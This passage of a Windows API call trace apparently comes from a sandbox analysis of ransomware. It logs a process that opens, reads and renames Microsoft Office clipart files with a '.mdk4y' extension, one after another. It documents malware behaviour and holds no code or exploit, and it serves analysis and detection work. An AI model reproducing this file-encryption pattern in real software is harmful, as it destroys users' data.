lpPerformanceCount=0x37dee4*=1823587200000) returned 1 [0160.642] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc20c, lpOverlapped=0x0) returned 1 [0160.652] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823588200000) returned 1 [0160.652] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823588200000) returned 1 [0160.653] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198447.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198447.wmf.mdk4y")) returned 1 [0160.654] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.654] AreFileApisANSI () returned 1 [0160.654] GetACP () returned 0x4e4 [0160.654] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0198494.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0198494.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.654] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.654] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823588400000) returned 1 [0160.654] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xae08, lpOverlapped=0x0) returned 1 [0160.669] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823589900000) returned 1 [0160.669] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823589900000) returned 1 [0160.670] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198494.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198494.wmf.mdk4y")) returned 1 [0160.670] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.670] AreFileApisANSI () returned 1 [0160.670] GetACP () returned 0x4e4 [0160.670] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0198712.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0198712.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.671] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.671] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823590100000) returned 1 [0160.671] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe17a, lpOverlapped=0x0) returned 1 [0160.787] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823601700000) returned 1 [0160.787] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823601700000) returned 1 [0160.788] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198712.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198712.wmf.mdk4y")) returned 1 [0160.789] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.789] AreFileApisANSI () returned 1 [0160.789] GetACP () returned 0x4e4 [0160.789] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0199279.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0199279.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.789] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.790] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823602000000) returned 1 [0160.790] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x714e, lpOverlapped=0x0) returned 1 [0160.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823616100000) returned 1 [0160.931] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823616100000) returned 1 [0160.931] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf.mdk4y")) returned 1 [0160.932] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.932] AreFileApisANSI () returned 1 [0160.932] GetACP () returned 0x4e4 [0160.932] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0199303.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0199303.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.932] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.933] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823616300000) returned 1 [0160.933] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x7c4e, lpOverlapped=0x0) returned 1 [0160.950] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823618000000) returned 1 [0160.950] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823618000000) returned 1 [0160.951] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199303.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199303.wmf.mdk4y")) returned 1 [0160.952] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.952] AreFileApisANSI () returned 1 [0160.952] GetACP () returned 0x4e4 [0160.952] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0199307.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0199307.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.952] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.952] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823618200000) returned 1 [0160.952] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xc37e, lpOverlapped=0x0) returned 1 [0160.966] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823619600000) returned 1 [0160.966] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823619600000) returned 1 [0160.967] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199307.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199307.wmf.mdk4y")) returned 1 [0160.968] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0160.968] AreFileApisANSI () returned 1 [0160.968] GetACP () returned 0x4e4 [0160.968] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0199423.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0199423.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0160.968] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0160.969] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823619900000) returned 1 [0160.969] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x662a, lpOverlapped=0x0) returned 1 [0161.004] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823623400000) returned 1 [0161.004] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823623400000) returned 1 [0161.005] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199423.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199423.wmf.mdk4y")) returned 1 [0161.006] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0161.006] AreFileApisANSI () returned 1 [0161.006] GetACP () returned 0x4e4 [0161.006] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0199429.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0199429.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0161.006] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0161.006] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823623600000) returned 1 [0161.006] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x4124, lpOverlapped=0x0) returned 1 [0161.029] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823625900000) returned 1 [0161.029] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823625900000) returned 1 [0161.030] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199429.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199429.wmf.mdk4y")) returned 1 [0161.031] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0161.031] AreFileApisANSI () returned 1 [0161.031] GetACP () returned 0x4e4 [0161.031] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0199465.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0199465.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0161.031] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0161.032] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823626200000) returned 1 [0161.032] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x13c4, lpOverlapped=0x0) returned 1 [0161.047] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823627700000) returned 1 [0161.048] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823627800000) returned 1 [0161.048] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199465.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199465.wmf.mdk4y")) returned 1 [0161.049] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0161.049] AreFileApisANSI () returned 1 [0161.049] GetACP () returned 0x4e4 [0161.049] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0199469.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0199469.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0161.049] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0161.050] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823628000000) returned 1 [0161.050] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x35bc, lpOverlapped=0x0) returned 1 [0161.079] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823630900000) returned 1 [0161.079] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823630900000) returned 1 [0161.079] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199469.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199469.wmf.mdk4y")) returned 1 [0161.080] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0161.080] AreFileApisANSI () returned 1 [0161.080] GetACP () returned 0x4e4 [0161.080] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0199473.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0199473.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0161.080] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0161.081] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823631100000) returned 1 [0161.081] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2a18, lpOverlapped=0x0) returned 1 [0161.087] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823631600000) returned 1 [0161.087] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823631700000) returned 1 [0161.087] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199473.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199473.wmf.mdk4y")) returned 1 [0161.088] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0161.088] AreFileApisANSI () returned 1 [0161.088] GetACP () returned 0x4e4 [0161.088] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0199475.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0199475.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0161.088] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0161.088] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823631800000) returned 1 [0161.089] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1484, lpOverlapped=0x0) returned 1 [0161.135] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823636500000) returned 1 [0161.136] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823636600000) returned 1 [0161.136] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199475.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199475.wmf.mdk4y")) returned 1 [0161.137] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0161.137] AreFileApisANSI () returned 1 [0161.137] GetACP () returned 0x4e4 [0161.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0199483.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0199483.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0161.137] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0161.138] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823636800000) returned 1 [0161.138] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x27b4, lpOverlapped=0x0) returned 1 [0161.171] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823640100000) returned 1 [0161.171] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823640100000) returned 1 [0161.172] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199483.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199483.wmf.mdk4y")) returned 1 [0161.174] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0161.174] AreFileApisANSI () returned 1 [0161.174] GetACP () returned 0x4e4 [0161.174] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0199609.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0199609.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0161.174] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0161.174] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823640400000) returned 1 [0161.174] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x302c, lpOverlapped=0x0) returned 1 [0161.309] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823653900000) returned 1 [0161.309] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823653900000) returned 1 [0161.310] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199609.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199609.wmf.mdk4y")) returned 1 [0161.311] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0161.311] AreFileApisANSI () returned 1 [0161.311] GetACP () returned 0x4e4 [0161.311] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="J0200151.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="J0200151.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0161.311] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0200151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0200151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0161.315] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823654500000) returned 1 [0161.315] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2004, lpOverlapped=0x0) returned 1 [0161.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1823658100000) returned 1 [0161.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: 